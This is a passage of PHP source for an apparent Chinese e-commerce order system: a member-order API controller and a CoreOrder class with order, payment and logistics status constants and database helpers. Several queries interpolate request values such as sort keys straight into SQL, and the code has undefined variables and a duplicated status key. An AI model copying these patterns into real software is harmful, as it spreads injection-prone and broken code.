($core->action) { case 'getlistfordeliver': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; if (!$memberOrderID) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MEMBERORDERID_IS_NULL','用户订单编号不能为空')); } $goodsCount = $memberOrder->getPurchaseGoodsCount($filter); $pager = array('first'=>0, 'limit'=>$goodsCount); $fields = array('GoodsID','GoodsName','GoodsCount'); $goodsList = $memberOrder->getPurchaseGoodsList($pager,$filter,$sort,$fields); $data = array('goodsListCount'=>$goodsCount, 'goodsList'=>$goodsList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'checkorderentity': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $goodsEntityID = (int)$filter['GoodsEntityID']; $memberOrderID = (int)$filter['MemberOrderID']; if (!$memberOrderID || !$goodsEntityID) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MEMBERIDORDERID_OR_GOODSENTITYID_IS_NULL','参数不完整')); } $goodsInfo = $memberOrder->getMemberGoodsEntityDetail($memberOrderID, $goodsEntityID); if (!is_array($goodsInfo) || count($goodsInfo) <= 0) { $data = array('isMatch'=>false, 'goodsInfo'=>null); } else { $data = array('isMatch'=>true, 'goodsInfo'=>$goodsInfo); } MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getlist': //@todo 统计在本店的消费总额。 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $storeID = (int)$filter['StoreID']; $agentID = (int)$filter['AgentID']; $sourceTypeID = (int)$filter['SourceTypeID']; $memberID = (int)$filter['MemberID']; if (!$memberID) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MemberID_IS_NULL','缺少用户编号')); } // 获取用户(某个代理商或门店下的)的购买获取清单。 $goodsCount = $memberOrder->getPurchaseGoodsCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $goodsList = $memberOrder->getPurchaseGoodsList($pager,$filter,$sort); $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'goodsCount'=>$goodsCount, 'goodsList'=>$goodsList, 'TotalConsumption'=>$totalConsumption); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; default: exit('请使用getlist case 调用此接口'); break; } }<file_sep><?php /** * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <<EMAIL>> * @version 1.0 2016-03-10 */ /** * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <<EMAIL>> * @version 1.0 2016-03-10 in development !!! unstable * @access public * @note 错误码使用范围 1000-1100 5000-5100 */ class CoreOrder { /** * @var resource|null db handler * @access protected */ protected $_db = null; /** * @var int|null coreOrderID * @access protected */ protected $coreOrderID = null; /** * 复杂方法默认返回值 * @var array */ protected static $_returnData = array( 'status'=>'failed', 'reason'=>'', 'reasonCode'=>'', 'realReason'=>'', 'data'=>null ); /** * error_log 函数需要的error常量。 */ const ERROR_TO_FILE = 3; /** * error_log 函数要输出的错误日志保存位置。 */ const ERROR_FILE_PATH = './attachment/errorlog/'; /** * 订单类型 */ const ORDERTYPE_MEMBER_PURCHASE = 11; // 用户购买订单 const ORDERTYPE_MEMBER_BARTER = 12; // 用户换货订单 const ORDERTYPE_MEMBER_REFUND = 13; // 用户退货订单 const ORDERTYPE_MEMBER_REPAIR = 14; // 用户返修订单 const ORDERTYPE_AGENT_PURCHASE = 21; // 渠道购买订单 const ORDERTYPE_AGENT_BARTER = 22; // 渠道换货订单 const ORDERTYPE_AGENT_REFUND = 23; // 渠道退货订单 const ORDERTYPE_AGENT_REPAIR = 24; // 渠道返修订单 const ORDERTYPE_SPECIAL = 31; // 特殊订单 /** * 支付方式 线上支付的在 100 到 200 之间,线下支付和货到付款 201-255 */ const PAYTYPE_ALI = 101;//支付宝 const PAYTYPE_WECHAT = 102;//微信 const PAYTYPE_OFFLINE = 201;//线下支付 const PAYTYPE_ONDELIVERY = 202;//货到付款 const PAYTYPE_OTHER = 300;//其他付款 /** * 用户订单状态,添加新状态的时候记得在 如下的静态方法中也添加上。 */ const MEMBERORDERSTATUS_SAVE = 5;//保存中 const MEMBERORDERSTATUS_UNPAY = 10;//待支付 const MEMBERORDERSTATUS_UNAUDIT = 20;//待审核,只有货到付款的订单会用到待审核。 const MEMBERORDERSTATUS_AUDIT_SUCCESS = 24;//货到付款,通过审核,配货中待发货。 const MEMBERORDERSTATUS_AUDIT_FAILURE = 25;//货到付款,未通过审核。 const MEMBERORDERSTATUS_PAYOFF = 30;//已支付,配货中,待发货, const MEMBERORDERSTATUS_PICKING = 35;// 拣货中. const MEMBERORDERSTATUS_PICKOFF = 40;// 拣货完成,待打包. const MEMBERORDERSTATUS_PACKING = 42;// 打包中. const MEMBERORDERSTATUS_PACKOFF = 45;// 打包完成. const MEMBERORDERSTATUS_DELIVERY = 50;//已发货,待签收, const MEMBERORDERSTATUS_RECEIVED = 70;//已签收,待评价, const MEMBERORDERSTATUS_EVALUATED = 90;//已评价。 const MEMBERORDERSTATUS_APPLY_REJECT = 110;//申请退货 const MEMBERORDERSTATUS_REJECT_SUCCESS = 120;//同意退货申请 const MEMBERORDERSTATUS_REJECT_FAILURE = 121;//驳回退货申请 const MEMBERORDERSTATUS_REJECT_GOODS_SUCCESS = 123;//退货成功 const MEMBERORDERSTATUS_REJECT_FUND_SUCCESS = 124;//退货退款成功 const MEMBERORDERSTATUS_REJECT_PART_GOODS_SUCCESS = 125;//部分退货 const MEMBERORDERSTATUS_APPLY_BARTER = 130;//申请换货 const MEMBERORDERSTATUS_BARTER_SUCCESS = 131;//同意换货申请 const MEMBERORDERSTATUS_BARTER_FAILURE = 132;//驳回换货申请 const MEMBERORDERSTATUS_BARTER_GOODS_SUCCESS = 133;//换货成功 const MEMBERORDERSTATUS_BARTER_PART_GOODS_SUCCESS = 134;//部分换货 const MEMBERORDERSTATUS_CANCLE = 140;//取消订单 const MEMBERORDERSTATUS_APPLY_REPAIR = 150;//申请返修 const MEMBERORDERSTATUS_REPAIR_SUCCESS = 151;//同意返修申请 const MEMBERORDERSTATUS_REPAIR_FAILURE = 152;//驳回返修申请 const MEMBERORDERSTATUS_REPAIR_GOODS_SUCCESS = 153;//返修成功 const MEMBERORDERSTATUS_REPAIR_PART_GOODS_SUCCESS = 154;//部分返修 /** * 渠道订单状态,添加新状态的时候记得在 如下的静态方法中也添加上。 */ const AGENTORDERSTATUS_SAVE = 5;//保存中 const AGENTORDERSTATUS_UNVERIFY = 7;//待初审 const AGENTORDERSTATUS_VERIFY_FAILURE = 8;//初审被驳回 const AGENTORDERSTATUS_UNPAY = 10;//初审成功,待支付 const AGENTORDERSTATUS_PAYOFF = 30;//已支付,待复审 const AGENTORDERSTATUS_REVIEW_FAILURE = 35;//复审被驳回 const AGENTORDERSTATUS_REVIEW_SUCCESS = 40;//复审通过,待发货 const AGENTORDERSTATUS_DELIVERY = 50;//已发货,待签收, const AGENTORDERSTATUS_RECEIVED = 70;//已签收,待评价, const AGENTORDERSTATUS_APPLY_REJECT = 110;//申请退货 const AGENTORDERSTATUS_REJECT_SUCCESS = 120;//同意退货申请 const AGENTORDERSTATUS_REJECT_FAILURE = 121;//驳回退货申请 const AGENTORDERSTATUS_APPLY_BARTER = 130;//申请换货 const AGENTORDERSTATUS_BARTER_SUCCESS = 131;//同意换货申请 const AGENTORDERSTATUS_BARTER_FAILURE = 132;//驳回换货申请 const AGENTORDERSTATUS_BARTER_DELIVERY = 135;//换货申请发货 const AGENTORDERSTATUS_CANCLE = 140;//取消订单 const AGENTORDERSTATUS_APPLY_REPAIR = 150;//申请返修 const AGENTORDERSTATUS_REPAIR_SUCCESS = 151;//同意返修申请 const AGENTORDERSTATUS_REPAIR_FAILURE = 152;//驳回返修申请 const AGENTORDERSTATUS_REPAIR_DELIVERY = 155;//返修申请发货 /** * 渠道类型 */ const AGENTTYPE_AGENCY = 10;//代理商 const AGENTTYPE_AGENCY_ONLY = 20;//加盟商:只有一家门店的代理商 const HANDLERTYPEID_OFFICIAL = 1;//采购单 - 受理类型 - CUK仓库,向仓库下单 const HANDLERTYPEID_AGENT = 2;//采购单 - 受理类型 - CUK仓库,向上级代理下单 /* 渠道订单审核类型 */ const AGENTORDER_VERIFYTYPE_VERIFY = 1;//初审 const AGENTORDER_VERIFYTYPE_REVIEW = 2;//复审 /* 渠道订单审核结果*/ const AGENTORDER_VERIFYRESULT_AGREE = 1;//审核通过 const AGENTORDER_VERIFYRESULT_REFUSE = 2;//审核驳回 /** * 用户订单来源 */ const MEMBERORDERSOURCE_WEB_PC = 1;//官网PC来源订单 const MEMBERORDERSOURCE_IOS = 2;//IOS const MEMBERORDERSOURCE_IOS_H5 = 3;//H5-IOS const MEMBERORDERSOURCE_ANDROID = 4;//Android const MEMBERORDERSOURCE_ANDROID_H5 = 5;//H5-ANDROID const MEMBERORDERSOURCE_AGENT = 6;//代理商 const MEMBERORDERSOURCE_STORE = 7;//门店 /** * 渠道商订单来源 */ const AGENTORDERSOURCE_CUK = 1; //cuk仓库 const AGENTORDERSOURCE_AGENT = 2;//代理商 const AGENTORDERSOURCE_STORE = 3;//门店 /** * 退货申请审核结果 */ const REJECTORDERAPPLY_VERIFY_RESULT_AGREE = 1;//同意 const REJECTORDERAPPLY_VERIFY_RESULT_REFUSE = 2;//不同意 /** * 退货状态 - 用户订单 */ const MEMBERRETURNORDERSTATUS_APPLY = 10;//申请处理中 const MEMBERRETURNORDERSTATUS_RECEIVED = 20;//收到退货 const MEMBERRETURNORDERSTATUS_SUCCESS = 30;//退货成功 const MEMBERRETURNORDERSTATUS_FAILURE = 40;//退货失败 const MEMBERRETURNORDERSTATUS_REFUND_SUCCESS = 50;//退款成功 /** * 退货状态 - 代理商/门店 */ const AGENTRETURNORDERSTATUS_APPLY = 10;//申请处理中 const AGENTRETURNORDERSTATUS_RECEIVED = 20;//收到退货 const AGENTRETURNORDERSTATUS_SUCCESS = 30;//退货成功 const AGENTRETURNORDERSTATUS_FAILURE = 40;//退货失败 const AGENTRETURNORDERSTATUS_REFUND_SUCCESS = 50;//退款成功 /** * 换货申请审核结果 */ const BARTERORDERAPPLY_VERIFY_RESULT_AGREE = 1;//同意 const BARTERORDERAPPLY_VERIFY_RESULT_REFUSE = 2;//不同意 /** * 换货状态-用户订单 */ const MEMBEREXCHANGEORDERSTATUS_APPLY = 10;//申请处理中 const MEMBEREXCHANGEORDERSTATUS_RECEIVED = 20;//收到货品 const MEMBEREXCHANGEORDERSTATUS_SEND = 30;//新货发送中 const MEMBEREXCHANGEORDERSTATUS_SUCCESS = 40;//换货成功 const MEMBEREXCHANGEORDERSTATUS_FAILURE = 50;//换货失败 /** * 换货状态-代理商/门店订单 */ const AGENTEXCHANGEORDERSTATUS_APPLY = 10;//申请处理中 const AGENTEXCHANGEORDERSTATUS_RECEIVED = 20;//收到货品 const AGENTEXCHANGEORDERSTATUS_SEND = 30;//新货发送中 const AGENTEXCHANGEORDERSTATUS_SUCCESS = 40;//换货成功 const AGENTEXCHANGEORDERSTATUS_FAILURE = 50;//换货失败 /** * 返修申请审核结果 */ const REPAIRORDERAPPLY_VERIFY_RESULT_AGREE = 1;//同意 const REPAIRORDERAPPLY_VERIFY_RESULT_REFUSE = 2;//不同意 /** * 返修状态-用户订单 */ const MEMBERREPAIRORDERSTATUS_APPLY = 10;//申请处理中 const MEMBERREPAIRORDERSTATUS_RECEIVED = 20;//收到货品 const MEMBERREPAIRORDERSTATUS_SEND = 30;//返修货品发送中 const MEMBERREPAIRORDERSTATUS_SUCCESS = 40;//返修成功 const MEMBERREPAIRORDERSTATUS_FAILURE = 50;//返修失败 /** * 返修状态-代理商/门店 */ const AGENTREPAIRORDERSTATUS_APPLY = 10;//申请处理中 const AGENTREPAIRORDERSTATUS_RECEIVED = 20;//收到货品 const AGENTREPAIRORDERSTATUS_SEND = 30;//返修货品发送中 const AGENTREPAIRORDERSTATUS_SUCCESS = 40;//返修成功 const AGENTREPAIRORDERSTATUS_FAILURE = 50;//返修失败 /* 采购单付款状态 */ const AGENTPURCHASEORDERPAY_STATUS_NOMAL = 1; // 正常 const AGENTPURCHASEORDERPAY_STATUS_DELETE = 2; // 软删除 /* 供货状态 */ const SUPPLYRECORD_STATUS_NEW = 1; // 新建供货单 const SUPPLYRECORD_STATUS_PICKUP = 2; // 捡货 const SUPPLYRECORD_STATUS_PICKUPFINISH = 3; // 捡货完成 const SUPPLYRECORD_STATUS_PACKING = 4; // 打包中 const SUPPLYRECORD_STATUS_PACKED = 5; // 打包完毕 const SUPPLYRECORD_STATUS_SENDGOODS = 6; // 发货 const SUPPLYRECORD_STATUS_SIGNED = 7; // 签收 /** * 物流公司 */ const LOGISTICCOMPANY_SF = 1;//顺丰 const LOGISTICCOMPANY_ST = 2;//申通 const LOGISTICCOMPANY_ZT = 3;//中通 const LOGISTICCOMPANY_YD = 4;//韵达 const LOGISTICCOMPANY_YT = 5;//圆通 const LOGISTICCOMPANY_TT = 6;//田田 const LOGISTICCOMPANY_JD = 7;//京东 const LOGISTICCOMPANY_EMS = 8;//EMS /* 附件类型 */ const ATTACHMENT_TYPE_IMAGE = 1; // 图片 /* 附件来源 */ const ATTACHMENTSOURCE_PURCHASEORDER_REVIEW = 1; // 采购单复审成功 /* 附件状态 */ const ATTACHMENT_STATUS_NOMAL = 1; //正常 /* 供货记录中的货品状态 */ const SUPPLYGOODSENTITY_STATUS_PICKUPED = 1; // 捡货完毕 const SUPPLYGOODSENTITY_STATUS_PACKED = 2; // 打包完毕 const SUPPLYGOODSENTITY_STATUS_WAITINGSIGN = 3; // 待签收 const SUPPLYGOODSENTITY_STATUS_SIGNED = 4; // 已签收 const GOODS_EXTENSIONTYPE_PACKAGE = 1; const GOODS_EXTENSIONTYPE_PREFER = 2; /* 采购单锁定状态 */ const ORDERPURCHASEORDER_LOCKING = 1; // 已锁 const ORDERPURCHASEORDER_UNLOCK = 2; // 解锁 /* 采购单是否为补货单 */ const REPLENISHORDER_IS_TRUE = 1; // 是 const REPLENISHORDER_IS_FALSE = 2; // 否 /** * __construct * * construct function * * @param resource $db * @param int|null $accountID user`s AccountID */ public function __construct($db, $coreOrderID = null) { if ($db) { $this->_db = $db; } else { throw(new Exception('invalid_db')); } $coreOrderID = (int) $coreOrderID; if ($coreOrderID) { $this->coreOrderID = $coreOrderID; } } /** * 生成订单,并将订单中的商品存储起来 * @param array $coreOrder [description] * @return [type] [description] */ public function generateOrder($orderInfo = array()) { $returnData = $this->_returnData; $orderResult = array('CoreOrderID'=>0,'GoodsIDList'=>array()); if (!is_array($orderInfo) || count($orderInfo) == 0) { return self::errorReturnData('CANNOT_GET_ORDERINFO', '没有获取到订单信息'); } // 添加到核心订单表 $coreOrderID = $this->_generateCoreOrder($orderInfo); if (!$coreOrderID) { return self::errorReturnData('GENERATE_ORDER_FAILURE', '生成订单失败'); } // 添加到商品表 $goodsList = $orderInfo['goodsList']; $goodsIDList = $this->_generateGoodsList($coreOrderID, $goodsList); if ($goodsIDList === false || (is_array($goodsIDList) && count($goodsIDList) == 0) ) { return self::errorReturnData('GENERATE_ORDERGOODS_FAILURE', '生成订单失败', '生成订单时添加商品失败'); } // 添加到商品表并保存套餐数据 $packageGoodsList = $orderInfo['packageGoodsList']; $packageGoodsIDList = $this->_generateGoodsListForPackage($coreOrderID, $packageGoodsList); // if ($packageGoodsIDList === false || (is_array($packageGoodsIDList) && count($packageGoodsIDList) == 0) ) { // return self::errorReturnData('GENERATE_ORDERGOODS_FAILURE', '生成订单失败', '生成订单时添加商品失败'); // } // 添加到特惠表并保存特惠数据 $preferGoodsList = $orderInfo['preferGoodsList']; $preferGoodsIDList = $this->_generateGoodsListForPrefer($coreOrderID, $preferGoodsList); // if ($preferGoodsIDList === false || (is_array($preferGoodsIDList) && count($preferGoodsIDList) == 0) ) { // return self::errorReturnData('GENERATE_ORDERGOODS_FAILURE', '生成订单失败', '生成订单时添加商品失败'); // } $successData = array('CoreOrderID'=>$coreOrderID,'goodsIDList'=>$goodsIDList); return self::successReturnData($successData); } /** * 为诸如 退换返的订单 生成核心订单。 * @return [type] [description] */ public function generateCoreOrderForPeripheral($peripheral = null) { $peripheralMap = array( self::ORDERTYPE_MEMBER_REFUND => 'MemberReturnOrder', self::ORDERTYPE_MEMBER_REPAIR => 'MemberRepairOrder', self::ORDERTYPE_MEMBER_BARTER => 'MemberExchangeOrder', self::ORDERTYPE_AGENT_BARTER => 'AgentExchangeOrder', self::ORDERTYPE_AGENT_REPAIR => 'AgentRepairOrder', self::ORDERTYPE_AGENT_REFUND => 'AgentReturnOrder' ); if (!in_array($peripheral, $peripheralMap)) { return false; } $coreOrderInfo['OrderTypeID'] = array_search($peripheral, $peripheralMap); $result = $this->_generateCoreOrder($coreOrderInfo); return $result; } /** * 生成核心订单之后,将用户订单表 回写到 核心订单表 中 * @param [type] &$coreCoreID [description] * @param [type] &$memberOrderID [description] * @return [type] [description] */ public function bindCoreOrderWithOtherOrder(&$coreCoreID, $orderTable, $orderTableID) { // var_dump($coreCoreID);var_dump($orderTable);var_dump($orderTableID); if (!$coreCoreID || !is_numeric($coreCoreID) || !$orderTable || !is_numeric($orderTableID)) { return false; } $set = " set SourceName = '{$orderTable}'"; $set .= " ,SourceID = {$orderTableID}"; $sql = "update CoreOrder {$set} where CoreOrderID = {$coreCoreID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows == 0) { return false; } return true; } public function getCoreOrderCount($pager) { $memberOrderStatusForDelivery = '(' . self::MEMBERORDERSTATUS_AUDIT_SUCCESS . ',' . self::MEMBERORDERSTATUS_PAYOFF . ')'; $agentOrderStatusForDelivery = self::AGENTORDERSTATUS_REVIEW_SUCCESS; $where = " where (SourceName='MemberOrder' and orderStatusID in $memberOrderStatusForDelivery) or (SourceName='AgentPurchaseOrder' and orderStatusID={agentOrderStatusForDelivery})"; $sql = "select count(*) as Count from CoreOrder {$where}"; $resource = $this->_db->getToArray($sql); $count = $resource['Count']; return $count; } public function getCoreOrderList($pager = array(), $condition = array(), $sort = array(), $specialFields = array()) { $memberOrderStatusForDelivery = '(' . self::MEMBERORDERSTATUS_AUDIT_SUCCESS . ',' . self::MEMBERORDERSTATUS_PAYOFF . ')'; $agentOrderStatusForDelivery = self::AGENTORDERSTATUS_REVIEW_SUCCESS; $where = " where (SourceName='MemberOrder' and orderStatusID in $memberOrderStatusForDelivery) or (SourceName='AgentPurchaseOrder' and orderStatusID={agentOrderStatusForDelivery})"; if (is_array($condition) && count($condition) > 0 ) { // $where = $this->_generateMemberOrderWhereCondition($condition); } $limit = " limit 0,10"; if (is_array($pager) && isset($pager['first']) && isset($pager['limit'])) { $limit = " limit {$pager['first']},{$pager['limit']}"; } $orderBy = " order by MemberOrderID desc"; if (is_array($sort) && isset($sort['sortKey']) && isset($sort['sortValue'])) { $orderBy = " order by {$sort['sortKey']} {$sort['sortValue']}"; } $fields = '*'; if (is_array($specialFields) && count($specialFields) > 0) { $fields = implode(',', $specialFields); } $sql = "select {$fields} from CoreOrder {$where}"; $coreOrderList = $this->_db->loadToArray($sql); return $coreOrderList; } /** * 未发货时,获取订单包含的商品。该方法为final方法,子类不能覆盖该方法。 * @param [type] $memberOrderID [description] * @return [type] [description] */ final protected function getOrderGoodsDetail($coreOrderID,$specialFields=array(), $needKey = true) { if (!$coreOrderID) { return false; } $field = '*'; if (is_array($specialFields) && count($specialFields) > 0) { if (!in_array('CoreOrderGoodsID', $specialFields)) { $specialFields[] = 'CoreOrderGoodsID'; } $field = implode(',', $specialFields); } // Goods表已经从Goods改成了CoreOrderGoods表 $sql = "select {$field} from CoreOrderGoods where CoreOrderID = {$coreOrderID}"; $key = $needKey ? 'CoreOrderGoodsID' : null; $goodsList = $this->_db->loadToArray($sql, $key); return $goodsList; } final protected function getGoodsExtension($goodsExtensionID) { if (!$goodsExtensionID) { return false; } $field = '*'; if (is_array($specialFields) && count($specialFields) > 0) { $field = implode(',', $specialFields); } // Goods表已经从Goods改成了CoreOrderGoods表 $sql = "select {$field} from GoodsExtension where GoodsExtensionID = {$goodsExtensionID}"; $key = $needKey ? 'CoreOrderGoodsID' : null; $goodsList = $this->_db->loadToArray($sql, $key); return $goodsList; } public function getOrderGoodsAttr($coreOrderGoodsID = 0, $attrField = array()) { if (!$coreOrderGoodsID) { return false; } $where = ''; if (is_array($coreOrderGoodsID)) { $coreOrderGoodsIDStr = implode(',', $coreOrderGoodsID); $where .= " AND CoreOrderGoodsID IN({$coreOrderGoodsIDStr})"; } elseif (is_numeric($coreOrderGoodsID)) { $where .= " AND CoreOrderGoodsID = {$coreOrderGoodsID}"; } $where = $this->_db->whereAdd($where); $field = "*"; if (is_array($attrField) && count($attrField)) { $field = implode(',', $attrField); } $sql = "select {$field} from GoodsAttribute {$where}"; $goodsAttrList = $this->_db->loadToArray($sql); return $goodsAttrList; } public function getOrderGoodsSpec($coreOrderGoodsID = 0, $specField=array()) { if (!$coreOrderGoodsID) { return false; } $where = ''; if (is_array($coreOrderGoodsID)) { $coreOrderGoodsIDStr = implode(',', $coreOrderGoodsID); $where .= " AND CoreOrderGoodsID IN({$coreOrderGoodsIDStr})"; } else { $where .= " AND CoreOrderGoodsID = {$coreOrderGoodsID}"; } $where = $this->_db->whereAdd($where); $field = "*"; if (is_array($specField) && count($specField)) { $field = implode(',', $specField); } $sql = "select {$field} from GoodsSpecification {$where}"; $goodsSpecList = $this->_db->loadToArray($sql); return $goodsSpecList; } /** * final 和 protected 函数信赖 继承类的判断 ,不做判断。 * @param [type] $coreOrderID [description] * @param [type] $goodsEntityID [description] */ final protected function addGoodsEntity($coreOrderID,$goodsEntityList) { foreach ($goodsEntityIDList as $entityKey => $entityVal) { $goodsEntityID = (int)$entityVal['GoodsEntityID']; $goodsID = (int)$entityVal['GoodsID']; $coreOrderGoodsEntityID = $this->addGoodsEntityItem($coreOrderID, $goodsEntityID, $goodsID); if ($coreOrderGoodsEntityID <= 0) { return false; } } return true; } /** * 添加单个货品ID * @param [type] $coreOrderID [description] * @param [type] $goodsEntityID [description] */ final protected function addGoodsEntityItem($coreOrderID, $goodsEntityID, $goodsID) { $coreOrderGoodsEntityID = 0; $goodsEntityID = (int)$goodsEntityID; if (!$goodsEntityID) { return $coreOrderGoodsEntityID; } $coreOrderGoodsEntity['CoreOrderID'] = $coreOrderID; $coreOrderGoodsEntity['GoodsEntityID'] = $goodsEntityID; $coreOrderGoodsEntity['GoodsID'] = $goodsID; $coreOrderGoodsEntity['AddTime'] = date('Y-m-d H:i:s'); $coreOrderGoodsEntityID = $this->_db->saveFromArray('CoreOrderGoodsEntity', $coreOrderGoodsEntity); return $coreOrderGoodsEntityID; } /** * 订单供货表。 * final 和 protected 函数信赖 继承类的判断 ,不做判断。 * @param [type] $coreOrderID [description] * @param [type] $goodsEntityID [description] */ final protected function addSupplyGoodsEntity($coreOrderID,$goodsEntityIDList) { foreach ($goodsEntityIDList as $entityKey => $goodsEntityID) { $goodsEntityID = (int)$goodsEntityID; if (!$goodsEntityID) { return false; } $coreOrderGoodsEntity['CoreOrderID'] = $coreOrderID; $coreOrderGoodsEntity['GoodsEntityID'] = $goodsEntityID; $result = $this->_db->saveFromArray('OrderSupplyGoods', $coreOrderGoodsEntity); if (!$result) { return false; } } return true; } public function getSupplyGoodsEntityList($coreOrderID, $supplyRecordID) { if (!$coreOrderID && !$supplyRecordID) { return false; } if (!$supplyRecordID) { $supplyRecordID = $this->getSupplyRecordIDByCoreOrderID($coreOrderID); } $sql = "select SupplyGoodsEntityID,GoodsEntityID from SupplyGoodsEntity where SupplyRecordID = {$supplyRecordID}"; $result = $this->_db->loadToArray($sql, 'SupplyGoodsEntityID','GoodsEntityID'); return $result; } /** * 获取核心订单ID根据用户购买订单ID。 * @param [type] $memberOrderID [description] * @return [type] [description] */ final protected function getCoreOrderIDByOther($table, $primaryKeyID) { $where = " where SourceID = {$primaryKeyID} and SourceName = '{$table}'"; $sql = "select CoreOrderID from CoreOrder {$where}"; $result = $this->_db->getToArray($sql); $coreOrderID = $result['CoreOrderID']; return $coreOrderID; } /* 获取订单的状态名称 */ protected static function getOrderStatusNameByOrderStatusID($target, $orderStatusID) { $memberOrderStatusNameMap = array( '10'=>'待支付', '20'=>'待审核',//只有货到付款的订单会用到待审核 '24'=>'审核通过',//货到付款,通过审核,配货中待发货 '25'=>'未通过审核',//货到付款,未通过审核 '30'=>'已支付',//已支付,配货中,待发货 '50'=>'已发货',//已发货,待签收 '70'=>'已签收',//已签收,待评价 '90'=>'已评价', '110'=>'申请退货', '120'=>'同意退货申请', '121'=>'驳回退货申请', '130'=>'申请换货', '130'=>'同意换货申请', '131'=>'驳回换货申请', '140'=>'取消订单' ); $memberReturnOrderStatusNameMap = array( '10'=>'申请处理中', '20'=>'收到退货', '30'=>'退货成功', '40'=>'退货失败' ); $memberExchangeOrderStatusNameMap = array( '10'=>'申请处理中', '20'=>'收到货品', '30'=>'新货发送中', '40'=>'换货成功', '50'=>'换货失败' ); $memberRepairOrderStatusNameMap = array( '10'=>'申请处理中', '20'=>'收到货品', '30'=>'返修货品发送中', '40'=>'返修成功', '50'=>'返修失败' ); $agentPurchaseOrderStatusNameMap = array( '5'=>'保存中', '7'=>'待初审', '8'=>'初审被驳回', '10'=>'初审成功,待支付', '30'=>'已支付,待复审', '35'=>'复审被驳回', '40'=>'复审通过,待发货', '50'=>'已发货,待签收,', '70'=>'已签收,待评价,', '110'=>'申请退货', '120'=>'同意退货申请', '121'=>'驳回退货申请', '130'=>'申请换货', '131'=>'同意换货申请', '132'=>'驳回换货申请', '140'=>'取消订单', '150'=>'申请返修', '151'=>'同意返修申请', '152'=>'驳回返修申请' ); if ($target == 'MemberOrder') { $name = $memberOrderStatusNameMap[$orderStatusID] ? $memberOrderStatusNameMap[$orderStatusID] : '状态未知'; } elseif ($target == 'MemberReturnOrder') { $name = $memberReturnOrderStatusNameMap[$orderStatusID] ? $memberReturnOrderStatusNameMap[$orderStatusID] : '状态未知'; } elseif ($target == 'MemberExchangeOrder') { $name = $memberExchangeOrderStatusNameMap[$orderStatusID] ? $memberExchangeOrderStatusNameMap[$orderStatusID] : '状态未知'; } elseif ($target == 'MemberRepairOrder') { $name = $memberRepairOrderStatusNameMap[$orderStatusID] ? $memberRepairOrderStatusNameMap[$orderStatusID] : '状态未知'; } elseif ($target == 'AgentPurchaseOrder') { $name = $agentPurchaseOrderStatusNameMap[$orderStatusID] ? $agentPurchaseOrderStatusNameMap[$orderStatusID] : '状态未知'; } else { $name = $agentOrderStatusNameMap[$orderStatusID] ? $agentOrderStatusNameMap[$orderStatusID] : '状态未知'; } return $name; } /* 获取审核结果 */ public function getResultByResultID($target, $resultID) { $agentPurchaseOrderVerifyNameMap = array( '1' => '初审通过', '2' => '初审未通过' ); $agentPurchaseOrderReviewNameMap = array( '1' => '复审通过', '2' => '复审驳回' ); if ($target == 'AgentPurchaseOrderVerifyRecord') { $name = $agentPurchaseOrderVerifyNameMap[$resultID] ? $agentPurchaseOrderVerifyNameMap[$resultID] : '状态未知'; } else if ($target == 'AgentPurchaseOrderReviewRecord') { $name = $agentPurchaseOrderReviewNameMap[$resultID] ? $agentPurchaseOrderReviewNameMap[$resultID] : '状态未知'; } return $name; } protected function getPayTypeNameByPayTypeID($target , $payTypeID) { $payTypeNameMap = array( '101'=>'支付宝', '102'=>'微信', '201'=>'线下支付', '202'=>'货到付款', '300'=>'其他付款方式', ); if ($target == 'MemberOrder') { $payTypeName = $payTypeNameMap[$payTypeID] ? $payTypeNameMap[$payTypeID] : '线上支付'; } else { $payTypeName = $payTypeNameMap[$payTypeID] ? $payTypeNameMap[$payTypeID] : '支付方式未知'; } return $payTypeName; } /*********** 私有一些内部操作 主要是表的直接写入操作 *************/ /** * 生成核心订单。。私有方法,不再做非空校验。 * @param array $coreOrderInfo [description] * @return [type] [description] */ final protected function _generateCoreOrder($orderInfo) { $coreOrder['OrderTypeID'] = $orderInfo['OrderTypeID']; $coreOrder['SourceName'] = $orderInfo['SourceName']; $coreOrder['SourceID'] = (int)$orderInfo['SourceID']; $coreOrder['AddTime'] = date('Y-m-d H:i:s'); $coreOrderID = $this->_db->saveFromArray('CoreOrder', $coreOrder); unset($coreOrder); return $coreOrderID; } /** * 生成核心订单之后将订单中的商品信息同步到商品表之中。。私有方法,不再做非空校验。 * @param array $coreOrderInfo [description] * @return [type] [description] */ final protected function _generateGoodsList($coreOrderID, & $goodsList) { $goodsIDList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { $coreOrderGoodsID = $this->_generateGoodsItem($coreOrderID,$goodsItem); $goodsIDList[] = $coreOrderGoodsID; } return $goodsIDList; } final protected function _generateGoodsListForPackage($coreOrderID , $packageGoodsList, $packageCount) { foreach ($packageGoodsList as $packageKey => $packageItem) { $packageCount = (int)$packageItem['packageinfo']['PackageCount']; $goodsList = $packageItem['goodslist']; for ($i=0; $i < $packageCount; $i++) { $goodsResult = $this->_generateGoodsList($coreOrderID, $goodsList); } } } final protected function _generateGoodsListForPrefer($coreOrderID , $preferGoodsList, $preferCount) { foreach ($preferGoodsList as $preferKey => $preferItem) { $preferCount = (int)$preferItem['preferinfo']['PreferCount']; $goodsList = $preferItem['goodslist']; for ($i=0; $i < $preferCount; $i++) { $goodsResult = $this->_generateGoodsList($coreOrderID, $goodsList); } } } /** * 添加单条的商品信息 */ private function _generateGoodsItem($coreOrderID, & $goodsItem) { 